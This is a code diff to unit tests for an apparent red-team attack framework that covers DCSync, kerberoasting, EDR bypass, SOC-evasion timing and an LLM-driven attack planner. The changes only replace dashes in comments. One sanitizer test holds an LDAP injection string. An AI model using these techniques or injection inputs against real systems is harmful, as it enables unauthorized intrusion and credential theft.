AuthenticationFailed."""+ """SQL Server error 18456 = wrong credentials - must raise AuthenticationFailed."""from ares.modules.lateral.mssql import MSSQLModulefrom ares.core.errors import AuthenticationFailedmod, _ = _make_module(MSSQLModule)@@ -637,7 +637,7 @@ class TestLateralMSSQL:# ══════════════════════════════════════════════════════════════════════-# 11 — cloud.azure_ad+# 11 - cloud.azure_ad# ══════════════════════════════════════════════════════════════════════class TestCloudAzureAD:@@ -680,7 +680,7 @@ class TestCloudAzureAD:# ══════════════════════════════════════════════════════════════════════-# 12 — Cross-cutting: OpsecLevel enum completeness+# 12 - Cross-cutting: OpsecLevel enum completeness# ══════════════════════════════════════════════════════════════════════class TestOpsecLevelEnum:diff --git a/tests/unit/test_sanitizers_property.py b/tests/unit/test_sanitizers_property.pyindex 36e0877..63eb360 100644--- a/tests/unit/test_sanitizers_property.py+++ b/tests/unit/test_sanitizers_property.py@@ -1,15 +1,15 @@"""-Property-based tests — input sanitizers (ares/core/security.py)+Property-based tests - input sanitizers (ares/core/security.py)Uses Hypothesis to fuzz sanitize_ldap(), sanitize_hostname(), sanitize_path(),and validate_ip_or_cidr() with thousands of auto-generated inputs.Properties verified:- 1. IDEMPOTENCY — sanitize(sanitize(x)) == sanitize(x) [always]- 2. SAFETY — dangerous chars never present in output [always]- 3. NO CRASH — function never raises on any string input [always]- 4. VALID OUTPUT — output type matches expected [always]- 5. CORRECTNESS — known-good inputs pass, known-bad inputs are stripped [spot-check]+ 1. IDEMPOTENCY - sanitize(sanitize(x)) == sanitize(x) [always]+ 2. SAFETY - dangerous chars never present in output [always]+ 3. NO CRASH - function never raises on any string input [always]+ 4. VALID OUTPUT - output type matches expected [always]+ 5. CORRECTNESS - known-good inputs pass, known-bad inputs are stripped [spot-check]Run: pytest tests/unit/test_sanitizers_property.py -v(hypothesis runs 100 examples per test by default;@@ -39,10 +39,10 @@ from ares.core.security import (# ── Shared strategies ─────────────────────────────────────────────────────────-# Full Unicode text — any string hypothesis can generate+# Full Unicode text - any string hypothesis can generateany_text = st.text(min_size=0, max_size=200)-# Printable ASCII only — subset for readable test output+# Printable ASCII only - subset for readable test outputprintable = st.text(alphabet=st.characters(whitelist_categories=("Lu", "Ll", "Nd", "Po", "Zs")),min_size=0, max_size=100,@@ -108,11 +108,11 @@ class TestSanitizeLDAPProperties:@settings(max_examples=200)def test_dangerous_chars_stripped_or_escaped(self, value: str):"""- Raw null bytes must not survive sanitization — they are used in+ Raw null bytes must not survive sanitization - they are used inLDAP injection to truncate filter expressions."""result = sanitize_ldap(value)- # Null byte is the most dangerous — must not be in output as-is+ # Null byte is the most dangerous - must not be in output as-is# (ldap3 escapes it to \00, which is safe; raw \x00 is not)assert "\x00" not in result, (f"Raw null byte survived sanitize_ldap({repr(value)!r}) → {repr(result)}"@@ -134,7 +134,7 @@ class TestSanitizeLDAPProperties:"""Wildcard * used in LDAP injection must be escaped, not raw."""result = sanitize_ldap("*)(uid=*")# After escaping, the raw unescaped wildcard should not form valid injection- # The exact escaping depends on ldap3 — just verify no crash+ # The exact escaping depends on ldap3 - just verify no crashassert isinstance(result, str)@@ -303,7 +303,7 @@ class TestValidateIPOrCIDRProperties:@given(any_text)@settings(max_examples=300, suppress_health_check=[HealthCheck.too_slow])def test_never_raises(self, value: str):- """validate_ip_or_cidr must never raise — always return bool."""+ """validate_ip_or_cidr must never raise - always return bool."""try:result = validate_ip_or_cidr(value)assert isinstance(result, bool)@@ -318,7 +318,7 @@ class TestValidateIPOrCIDRProperties:@given(valid_ipv4_cidr)@settings(max_examples=200)def test_valid_cidr_accepted(self, cidr: str):- # netaddr is strict about host bits — allow either True or False+ # netaddr is strict about host bits - allow either True or False# but must not raiseresult = validate_ip_or_cidr(cidr)assert isinstance(result, bool)diff --git a/tests/unit/test_security_critical.py b/tests/unit/test_security_critical.pyindex ac311b9..69ba291 100644--- a/tests/unit/test_security_critical.py+++ b/tests/unit/test_security_critical.py@@ -4,15 +4,15 @@ ARES Security Critical Path TestsTest suite for security-critical paths that must pass before every release.Coverage:- 1. Token revocation — logout → blacklist → reuse rejected- 2. Dashboard auth — every API endpoint requires valid token- 3. RBAC enforcement — per-role, per-endpoint access control- 4. Refresh rate limit — 429 after N rapid refresh attempts- 5. Vault persistence — save/restore credential cycle- 6. validate() enforcement — engine calls validate() before execute()+ 1. Token revocation - logout → blacklist → reuse rejected+ 2. Dashboard auth - every API endpoint requires valid token+ 3. RBAC enforcement - per-role, per-endpoint access control+ 4. Refresh rate limit - 429 after N rapid refresh attempts+ 5. Vault persistence - save/restore credential cycle+ 6. validate() enforcement - engine calls validate() before execute()Pattern: httpx.ASGITransport + dependency_overrides (no lifespan needed).-All tests are self-contained — no shared mutable state between classes.+All tests are self-contained - no shared mutable state between classes."""from __future__ import annotations@@ -271,14 +271,14 @@ def test_main_websocket_scrubs_query_before_actual_uvicorn_logging():# ══════════════════════════════════════════════════════════════════════-# TEST CLASS 1 — TOKEN REVOCATION+# TEST CLASS 1 - TOKEN REVOCATION# ══════════════════════════════════════════════════════════════════════class TestTokenRevocation:"""After logout, a still-valid (not-expired) access token must be rejected.- The JTI blacklist is the mechanism — these tests verify it is enforced.+ The JTI blacklist is the mechanism - these tests verify it is enforced."""def setup_method(self):@@ -302,7 +302,7 @@ class TestTokenRevocation:r = await c.get("/auth/me", headers=_auth("alice", "operator"))assert r.status_code == 401, (f"Revoked token must return 401, got {r.status_code}. "- "Logout is ineffective — token still works after revocation!"+ "Logout is ineffective - token still works after revocation!")_run(_run_test())@@ -349,14 +349,14 @@ class TestTokenRevocation:# ══════════════════════════════════════════════════════════════════════-# TEST CLASS 2 — DASHBOARD AUTHENTICATION+# TEST CLASS 2 - DASHBOARD AUTHENTICATION# ══════════════════════════════════════════════════════════════════════class TestDashboardAuthentication:"""Every dashboard /api/* endpoint must return 401 without a valid token.- GET / (HTML shell) is deliberately public — SPA pattern, no sensitive data.+ GET / (HTML shell) is deliberately public - SPA pattern, no sensitive data."""PROTECTED = [@@ -424,7 +424,7 @@ class TestDashboardAuthentication:# ══════════════════════════════════════════════════════════════════════-# TEST CLASS 3 — RBAC ENFORCEMENT PER ROLE+# TEST CLASS 3 - RBAC ENFORCEMENT PER ROLE# ══════════════════════════════════════════════════════════════════════@@ -614,7 +614,7 @@ class TestRBACEnforcement:# ══════════════════════════════════════════════════════════════════════-# TEST CLASS 4 — REFRESH TOKEN RATE LIMITING+# TEST CLASS 4 - REFRESH TOKEN RATE LIMITING# ══════════════════════════════════════════════════════════════════════@@ -665,13 +665,13 @@ class TestRefreshTokenRateLimit:"429 response must include Retry-After header")return- pytest.fail("Never received 429 — rate limiting not working")+ pytest.fail("Never received 429 - rate limiting not working")_run(_run_test())# ══════════════════════════════════════════════════════════════════════-# TEST CLASS 5 — CREDENTIAL VAULT PERSISTENCE+# TEST CLASS 5 - CREDENTIAL VAULT PERSISTENCE# ══════════════════════════════════════════════════════════════════════@@ -754,7 +754,7 @@ class TestCredentialVaultPersistence:}]- # Vault B: restore from DB — share salt/fernet for compatibility+ # Vault B: restore from DB - share salt/fernet for compatibilityvault_b = CredentialVault(encryption_key=enc_key)vault_b._salt = vault_a._saltvault_b._salt_hex = vault_a._salt_hex@@ -820,7 +820,7 @@ class TestCredentialVaultPersistence:# ══════════════════════════════════════════════════════════════════════-# TEST CLASS 6 — validate() ENFORCEMENT+# TEST CLASS 6 - validate() ENFORCEMENT# ══════════════════════════════════════════════════════════════════════@@ -888,7 +888,7 @@ class TestValidateEnforcement:dispatch_context=_mint_test_dispatch_context(engine, campaign.id, "test.strict_validate"),- # No required_param — validate() must fail+ # No required_param - validate() must fail)assert len(validate_calls) == 1, "validate() must be called exactly once"assert len(execute_calls) == 0, "execute() must NOT run when validate() raises"diff --git a/tests/unit/test_state_graph_fingerprint_service.py b/tests/unit/test_state_graph_fingerprint_service.pyindex 6a72253..dbf7050 100644--- a/tests/unit/test_state_graph_fingerprint_service.py+++ b/tests/unit/test_state_graph_fingerprint_service.py@@ -1,28 +1,28 @@"""-Round 4 tests — solidification pass.+Round 4 tests - solidification pass.Covers every secondary module plus cross-cutting concerns:- 1. State layer — HostState, OperatorSession, TargetHost alias,+ 1. State layer - HostState, OperatorSession, TargetHost alias,update_host, from_snapshot, to_json, serialisation- 2. AttackGraph — node/edge construction, path-finding, high-value nodes- 3. Fingerprinting — EnvironmentFingerprinter, OSType, EDRVendor- 4. ServiceIntel — ServiceIntelEngine, port mapping, CVE tagging- 5. Execution — RemoteExecutor, ExecutionMethod, ExecutionResult- 6. Collaboration — CollaborationManager, TargetLock, OperatorRole- 7. Knowledge base — AttackKnowledgeBase, suggestions, EvidenceStore- 8. Normalizer — ArtifactStore CRUD, HostArtifact, UserArtifact- 9. Replay — AttackReplayEngine session management- 10. Technique library — TechniqueLibrary CRUD, MITRETactic- 11. Checkpoint — CheckpointManager save/load/list/purge- 12. Worker/Cluster — InProcessTaskQueue, ClusterController, disconnect- 13. Marketplace — ModuleInstaller install_as_dict, LocalRegistry- 14. Tracing — NoOp tracer, span, trace_module decorator- 15. Telemetry — MetricsCollector record + aggregate- 16. API __init__ exports — all packages export __all__ correctly- 17. Cross-module smoke — import chain + symbol resolution- 18. Data integrity — Campaign→Finding→Report round-trip- 19. Security/config — AresSettings defaults, JWT config- 20. CLI store — verify new methods (update/from_snapshot/to_json)+ 2. AttackGraph - node/edge construction, path-finding, high-value nodes+ 3. Fingerprinting - EnvironmentFingerprinter, OSType, EDRVendor+ 4. ServiceIntel - ServiceIntelEngine, port mapping, CVE tagging+ 5. Execution - RemoteExecutor, ExecutionMethod, ExecutionResult+ 6. Collaboration - CollaborationManager, TargetLock, OperatorRole+ 7. Knowledge base - AttackKnowledgeBase, suggestions, EvidenceStore+ 8. Normalizer - ArtifactStore CRUD, HostArtifact, UserArtifact+ 9. Replay - AttackReplayEngine session management+ 10. Technique library - TechniqueLibrary CRUD, MITRETactic+ 11. Checkpoint - CheckpointManager save/load/list/purge+ 12. Worker/Cluster - InProcessTaskQueue, ClusterController, disconnect+ 13. Marketplace - ModuleInstaller install_as_dict, LocalRegistry+ 14. Tracing - NoOp tracer, span, trace_module decorator+ 15. Telemetry - MetricsCollector record + aggregate+ 16. API __init__ exports - all packages export __all__ correctly+ 17. Cross-module smoke - import chain + symbol resolution+ 18. Data integrity - Campaign→Finding→Report round-trip+ 19. Security/config - AresSettings defaults, JWT config+ 20. CLI store - verify new methods (update/from_snapshot/to_json)"""from __future__ import annotations@@ -1493,7 +1493,7 @@ class TestCrossModuleIntegration:# Bob tries to lock same targetlock2 = mgr.acquire_lock("10.0.0.1", "op-002", "ad.dcsync")- assert lock2 is None # should fail — already locked+ assert lock2 is None # should fail - already locked# ─────────────────────────────────────────────────────────────────────────────@@ -1532,7 +1532,7 @@ class TestCoreConfig:# ─────────────────────────────────────────────────────────────────────────────-# 21. CLI STORE v2 — new methods+# 21. CLI STORE v2 - new methods# ─────────────────────────────────────────────────────────────────────────────class TestCLIStoreV2:diff --git a/tests/unit/test_strategic_modules.py b/tests/unit/test_strategic_modules.pyindex 06720d8..48bc391 100644--- a/tests/unit/test_strategic_modules.py+++ b/tests/unit/test_strategic_modules.py@@ -1,5 +1,5 @@"""-Unit tests — 4 strategic modules (v34+)+Unit tests - 4 strategic modules (v34+)Covers:- ai.autonomous_planner@@ -396,7 +396,7 @@ class TestCloudFederationAbuse:"""Dry run must not make any real network calls."""from ares.modules.cloud.identity_federation import CloudIdentityFederationModulemod, _ = _make_module(CloudIdentityFederationModule)- # If network calls happen, they'll fail in test env — dry_run should prevent them+ # If network calls happen, they'll fail in test env - dry_run should prevent themctx = _mock_ctx(params={"tenant_id": "real-tenant-id"}, dry_run=True)ctx.campaign = _mock_campaign()result = _run(mod.execute(ctx))@@ -424,7 +424,7 @@ class TestAIAutonomousPlanner:assert result.status == "dry_run"def test_auto_approve_false_by_default(self):- """auto_approve must default to False — operator review is required."""+ """auto_approve must default to False - operator review is required."""from ares.modules.ai.autonomous_planner import AIAutonomousPlannerModulefrom ares.modules.params import AIPlannerParamsparams = AIPlannerParams()@@ -444,7 +444,7 @@ class TestAIAutonomousPlanner:"modules": ["ad.kerberoast", "ad.dcsync"], "params": {}},],"alternative": [],- "warnings": ["DCSync is HIGH_NOISE — may trigger SIEM"],+ "warnings": ["DCSync is HIGH_NOISE - may trigger SIEM"],})plan = mod._parse_llm_response(valid, "claude-opus-4-6", 1000)assert plan.confidence == 0.85@@ -462,7 +462,7 @@ class TestAIAutonomousPlanner:assert len(plan.warnings) > 0, "Should warn about parse failure"def test_parse_llm_response_strips_markdown_fences(self):- """LLM may wrap JSON in ```json ... ``` — should be stripped."""+ """LLM may wrap JSON in ```json ... ``` - should be stripped."""from ares.modules.ai.autonomous_planner import AIAutonomousPlannerModulemod, _ = _make_module(AIAutonomousPlannerModule)fenced = '```json\n{"reasoning": "test", "confidence": 0.5, "stages": [], "alternative": [], "warnings": []}\n```'@@ -540,7 +540,7 @@ class TestAIAutonomousPlanner:{"name": "asrep", "rationale": "if kerberoast fails","modules": ["ad.asreproast"], "params": {}},],- "warnings": ["DCSync requires domain admin — ensure creds obtained first"],+ "warnings": ["DCSync requires domain admin - ensure creds obtained first"],}),"model": "claude-opus-4-6","tokens_used": 1247,@@ -592,7 +592,7 @@ class TestAIAutonomousPlanner:# ══════════════════════════════════════════════════════════════════════════════-# MODULE_PARAMS registry — all 4 new modules registered+# MODULE_PARAMS registry - all 4 new modules registered# ══════════════════════════════════════════════════════════════════════════════class TestNewModulesRegistered:@@ -641,7 +641,7 @@ class TestNewModulesRegistered:# ══════════════════════════════════════════════════════════════════════════════-# New feature tests — added in v35+# New feature tests - added in v35# ══════════════════════════════════════════════════════════════════════════════class TestMultiLLMConsensus:@@ -804,7 +804,7 @@ class TestSOCShiftModeling:assert "recommendation" in resultdef test_soc_healthcare_is_high_coverage(self):- """Healthcare SOC operates 24/7 — factor should always be moderate-high."""+ """Healthcare SOC operates 24/7 - factor should always be moderate-high."""from ares.modules.opsec.coverage_predictor import _compute_soc_activity_factorimport datetime# Test at 3am UTC (off-hours for most)@@ -916,7 +916,7 @@ class TestStrategyEngine:engine = StrategyEngine(ares_engine=None, settings=None)campaign = _mock_campaign()# Simulate a DCSync finding- mock_finding = type("F", (), {"title": "DCSync — krbtgt hash obtained"})()+ mock_finding = type("F", (), {"title": "DCSync - krbtgt hash obtained"})()campaign.findings = [mock_finding]assert engine._check_goal_achieved(campaign, "domain_admin") is True@@ -971,7 +971,7 @@ class TestOutcomeQuality:kb.record_outcome("ad.kerberoast", success=True, quality=1.0, edr_vendor="cs")kb.record_outcome("ad.kerberoast", success=True, quality=0.3, edr_vendor="cs")rates = kb.get_success_rates()- # Average quality: (1.0 + 0.3) / 2 = 0.65 — not just binary count+ # Average quality: (1.0 + 0.3) / 2 = 0.65 - not just binary countassert 0.6 <= rates["ad.kerberoast"] <= 0.7@@ -1269,7 +1269,7 @@ class TestEDRProbe:assert result is Truedef test_probe_no_runner_returns_true(self):- """No SSH runner means we can't probe — fail open (return True)."""+ """No SSH runner means we can't probe - fail open (return True)."""from ares.modules.edr.bypass_adaptive import EDRAdaptiveBypassModule, BypassTechniquemod, _ = _make_module(EDRAdaptiveBypassModule)tech = BypassTechnique(@@ -1295,7 +1295,7 @@ class TestEDRProbe:class TestBugRegressions:- # Bug 1 — probe methods must exist and be callable+ # Bug 1 - probe methods must exist and be callabledef test_probe_technique_method_exists(self):from ares.modules.edr.bypass_adaptive import EDRAdaptiveBypassModulemod, _ = _make_module(EDRAdaptiveBypassModule)@@ -1336,7 +1336,7 @@ class TestBugRegressions:result = _run(mod._probe_technique(tech, run_cmd=mock_run))assert result is True- # Bug 2 — credentials must use actionable format+ # Bug 2 - credentials must use actionable formatdef test_credentials_format_actionable(self):from ares.modules.ai.autonomous_planner import CampaignContextBuilderbuilder = CampaignContextBuilder()@@ -1356,7 +1356,7 @@ class TestBugRegressions:"Credentials must be in actionable format with recommended_use"assert len(first["recommended_use"]) > 0- # Bug 3 — AD modules use "dc" key, not "target"+ # Bug 3 - AD modules use "dc" key, not "target"def test_target_hint_checks_dc_key(self):from ares.strategy.target_state import TargetStateMapfrom ares.modules.base import ModuleResult@@ -1367,7 +1367,7 @@ class TestBugRegressions:assert state is not Noneassert "ad.kerberoast" in state.successful_modules- # Bug 4 — datetime.timestamp() must be used+ # Bug 4 - datetime.timestamp() must be useddef test_dwell_decay_with_datetime_object(self):from ares.modules.opsec.coverage_predictor import _apply_dwell_time_decayimport datetime, time@@ -1379,7 +1379,7 @@ class TestBugRegressions:assert result < 0.8, "Dwell decay must reduce score after 10 days"assert result == pytest.approx(0.8 * 0.65, abs=0.02)- # Bug 9 — target_states must appear in prompt+ # Bug 9 - target_states must appear in promptdef test_target_states_rendered_in_prompt(self):from ares.modules.ai.autonomous_planner import _build_user_promptcontext = {@@ -1417,7 +1417,7 @@ class TestBugRegressions:assert "Per-host state" not in prompt, \"Empty target_states must not add noise to prompt"- # Bug 11 — HIGH_NOISE list accuracy+ # Bug 11 - HIGH_NOISE list accuracydef test_high_noise_list_excludes_wmiexec(self):from ares.modules.opsec.coverage_predictor import CoveragePredictorModulemod, _ = _make_module(CoveragePredictorModule)@@ -1446,7 +1446,7 @@ class TestBugRegressions:assert any("lsa_secrets" in w for w in warnings), \"windows.lsa_secrets must be flagged as HIGH_NOISE"- # API Gap — /strategy/engage endpoint exists+ # API Gap - /strategy/engage endpoint existsdef test_strategy_engage_endpoint_registered(self):import sys# Check that the endpoint is registered in server.pydiff --git a/tests/unit/test_strategy_engine.py b/tests/unit/test_strategy_engine.pyindex 308eb17..99474cf 100644--- a/tests/unit/test_strategy_engine.py+++ b/tests/unit/test_strategy_engine.py@@ -1,5 +1,5 @@"""-Step 2 — Unit Tests: Strategy Engine+Step 2 - Unit Tests: Strategy EngineTests for the autonomous engagement orchestration layer:- ModuleOutcome / RoundResult / EngagementResult (models)@@ -8,7 +8,7 @@ Tests for the autonomous engagement orchestration layer:- ConstitutionEnforcer (module blocking, scope check, authorization)- StrategyEngine._check_goal_achieved (goal detection logic)-All tests use mock dependencies — no real LLM, network, or module execution.+All tests use mock dependencies - no real LLM, network, or module execution.Run: pytest tests/unit/test_strategy_engine.py -v"""@@ -568,7 +568,7 @@ class TestGoalAchieved:engine = self._make_engine()campaign = self._make_campaign_with_findings(["Port Scan Complete",- "DCSync Attack Successful — krbtgt hash obtained",+ "DCSync Attack Successful - krbtgt hash obtained",])assert engine._check_goal_achieved(campaign, "domain_admin") is True@@ -616,7 +616,7 @@ class TestGoalAchieved:engine = self._make_engine()campaign = MagicMock()campaign.findings = [- {"title": "DCSync Attack — Domain Admin Achieved"},+ {"title": "DCSync Attack - Domain Admin Achieved"},]assert engine._check_goal_achieved(campaign, "domain_admin") is True